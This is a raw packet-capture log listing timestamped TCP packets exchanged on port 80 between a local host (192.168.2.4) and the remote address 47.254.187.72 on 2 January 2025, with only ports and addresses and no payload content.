Jan 2, 2025 20:34:53.088068962 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088093042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088104963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088114977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088114977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.088128090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088140965 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.088157892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088170052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088180065 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088186979 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.088207006 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.088218927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.088375092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088386059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088402033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088412046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088418007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.088423967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088434935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088445902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088449001 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.088455915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088468075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.088469028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.088490009 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.088531971 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.090863943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.090883970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.090895891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.090905905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.090917110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.090928078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.090936899 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.090939045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.090943098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.090949059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.090975046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.090986013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.093053102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.093075991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.093087912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.093099117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.093110085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.093112946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.093127012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.093136072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.093139887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.093172073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.093175888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.093184948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.093214035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.096124887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.096138000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.096149921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.096168995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.096179008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.096183062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.096190929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.096201897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.096204042 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.096241951 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.101589918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101612091 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101624012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101634979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101644039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.101645947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101656914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101667881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101675987 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.101677895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101691961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101716995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.101735115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.101742029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101752043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101762056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101773024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101788044 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.101810932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101815939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.101821899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101833105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101841927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.101846933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.101876974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.102891922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.102901936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.102912903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.102924109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.102935076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.102946043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.102951050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.102967024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.102978945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.102986097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.103014946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.103838921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.103851080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.103862047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.103877068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.103887081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.103888035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.103898048 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.103909969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.103919029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.103924990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.103945017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.103961945 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174104929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174143076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174154997 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174164057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174168110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174179077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174195051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174200058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174212933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174223900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174233913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174245119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174253941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174254894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174264908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174273968 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174276114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174289942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174300909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174314976 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174325943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174336910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174348116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174360037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174370050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174381018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174386024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174397945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174408913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174412966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174418926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174431086 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174439907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174451113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174458981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174460888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174470901 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174482107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174487114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174490929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174501896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174510956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174513102 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174524069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174540043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174540043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174561024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174566031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174572945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174582958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174592972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174602985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174607992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174613953 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174624920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174631119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174649954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174670935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174674988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174710035 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174782038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174798965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174809933 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174820900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174823046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174834967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174843073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174848080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174877882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174896955 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174942017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174957991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174968958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174978971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174988985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.174989939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.174999952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.175010920 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.175017118 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.175021887 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.175033092 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.175035954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.175045013 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.175054073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.175079107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.175101995 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.175220966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.175231934 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.175241947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.175251961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.175261974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.175265074 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.175271988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.175282955 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.175287008 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.175302982 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.175326109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.177860975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.177882910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.177894115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.177902937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.177908897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.177915096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.177917957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.177926064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.177937984 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.177963018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.177982092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.179902077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.179966927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.179971933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.179980040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.179991007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.180001974 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.180007935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.180012941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.180023909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.180030107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.180036068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.180066109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.180085897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.183485985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.183499098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.183516979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.183533907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.183533907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.183545113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.183556080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.183563948 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.183569908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.183579922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.183590889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.183602095 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.183604956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.183623075 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.183649063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.188452005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188467979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188487053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188497066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188507080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188510895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.188519001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188529968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188539982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188549995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188554049 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.188563108 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188581944 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.188606024 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.188621998 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188632965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188643932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188653946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188657045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.188666105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.188692093 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.188714027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.189706087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.189721107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.189734936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.189754009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.189763069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.189764023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.189775944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.189786911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.189793110 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.189835072 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.190838099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.190849066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.190866947 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.190877914 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.190887928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.190887928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.190900087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.190910101 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.190911055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.190922976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.190932035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.190947056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.190972090 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261018991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261037111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261049986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261112928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261122942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261133909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261142015 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261152029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261162043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261168003 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261173010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261190891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261202097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261213064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261218071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261224031 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261253119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261269093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261279106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261288881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261298895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261307001 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261316061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261327028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261328936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261339903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261349916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261359930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261375904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261385918 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261394024 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261404991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261415005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261415958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261423111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261430979 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261442900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261455059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261456013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261482000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261499882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261657000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261667967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261677980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261687994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261698961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261701107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:53.261708021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:53.261718988 CET	49730	80	192.168.2.4	47.254.187.72
